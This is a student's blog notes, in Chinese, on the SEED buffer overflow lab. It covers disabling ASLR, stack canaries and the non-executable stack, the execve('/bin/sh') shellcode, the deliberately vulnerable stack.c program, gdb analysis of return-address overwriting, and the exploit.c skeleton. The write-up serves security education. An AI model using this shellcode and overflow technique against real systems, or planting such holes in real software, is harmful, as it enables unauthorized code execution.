SEED缓冲区溢出实验笔记

陌路散爱 提交于 2020-02-10 20:17:27

缓冲区溢出实验(Linux 32位)

参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/

 (本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程)

1. 准备工作

使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验。

(1)内存地址随机化(Address Space Randomization):基于Linux的操作系统一般使堆和栈的开始地址随机化,使得攻击者猜测确切的地址变得困难。使用如下指令关闭该功能。

$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

(2)The StackGuard Protection Scheme:GCC编译器实现了一个被称为“Stack Guard”的安全机制来防御缓冲区溢出攻击。所以在编译漏洞程序时加上-fno-stack-protector参数来关闭该机制。

 

(3)Non-Executable Stack:Ubuntu曾经允许栈执行,但是现在程序必须声明栈是否允许执行。内核和链接器检查程序头的标志来判断是否允许栈被执行。GCC在模式情况下设置栈不可执行,所以需要在编译时加入-z execstack参数来允许栈执行。

2. ShellCode

教程提供了shellcode,是如下代码反汇编得到的机器码,功能就是打开一个shell,通过编译执行call_shellcode.c可以验证shellcode的正确性。使用gdb调试call_shellcode会发现buf的起始地址没有进行字节对其,但是并不影响shellcode的执行,该验证程序是将buf强制转换成了函数指针来执行,用法巧妙。其中shellcode还有一些需要解释的地方,如“//sh”是为了凑足4字节,并且“/”与“//”是一样的;为了给execve传递参数,需要字符串的地址,这里采用了push并传递esp的方法;cdq是一个简短的指令来使edx置零。注意在编译时加入令栈可执行的参数,指令如下所示:gcc -z execstack -o call_shellcode call_shellcode.c

 

#include <stdio.h>
int main( ) {
char*
name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
View Code
/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
} 
View Code

 

 


3.漏洞程序stack.c

程序很简单,从文件中读入内容至str,传入仅有24字节大小的buffer时会溢出。编译时记得取消保护机制,加入ggdb为了使用gdb调试方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}
View Code

 

 

4.实验内容

GDB的使用参考:

http://blog.csdn.net/liigo/article/details/582231

http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html

(1)攻击漏洞程序执行shellcode

使用gdb进入bof()之后,使用i frame可以查看当前程序栈的信息,如下所示。从中可以直接看出ebp和eip的保存位置,其中eip的返回位置即要精心覆盖的返回地址,将其指向我们构造的shellcode即可。

 

查看栈的内存与变量的位置,图中圈出的就是保存的eip值和变量位置。不过有个疑问没有解决,就是0xbffff010与0xbffff014这8个内存的作用不明。

 

执行memcpy后,可以看出内存变为如下图所示。

 

即从0xbfffeff8开始存入了shellcode,开始时考虑采用NSR模式,但是由于漏洞程序的缓冲区很小,刚好可以放下shellcode,所以直接使用了SR模式,其中返回地址R是0xbfffeff8。另外需要注意,拷贝shellcode时不要把字符串结尾的’\x00’也复制过去,否则漏洞程序会认为字符串就此截止,而不复制后面的内容。这么做会发现shellcode运行出错。经过仔细查看执行过程时的内存,发现shellcode会压栈一些内容,压入ebx时恰好会把shellcode最后的语句(位置0xbffffffc)覆盖!故考虑使用RNS模式,实验表明使用RNS模式更加简单,容错率也高。

 

 

修改exploit.c如下所示,成功!

 

 

(2)启动内存地址随机化

首先打开Linux的内存地址随机化功能,sysctl -w kernel.randomize_va_space=2,再次执行stack会段错误。gdb调试时会默认关闭内存地址随机化,需要进入gdb后首先输入set disable-randomization off来开启地址随机化,接下来进行调试。每次运行时会发现栈的地址随机变化,从而使得攻击者无法确定shellcode的地址。

(3)Stack Guard

首先关闭内存地址随机化以防止干扰,然后重新编译stack.c,此时不加入-fno-stack-protector参数即开启了该防护措施(新版本gcc)。再次执行stack会出现错误,从汇编可以看出,该机制是检测ebp-0xc这个位置存放的4字节是否被改变,该位置0xbfffeffc恰好就在局部变量与栈帧之间。再次编译stack程序,发现该检测值会发生改变,可见是随机生成的,难以预测。

 

 

(4)栈不可执行

使用gcc -o stack -fno-stack-protector -z noexecstack stack.c编译stack.c,调试运行会发现只要执行栈上的指令,进程会收到系统信号SIGSEGV,段错误。可以使用Return-to-Libc来绕过该防御机制。

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
View Code

 

高级缓冲区溢出技术可以参考:http://drops.wooyun.org/tips/6597

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!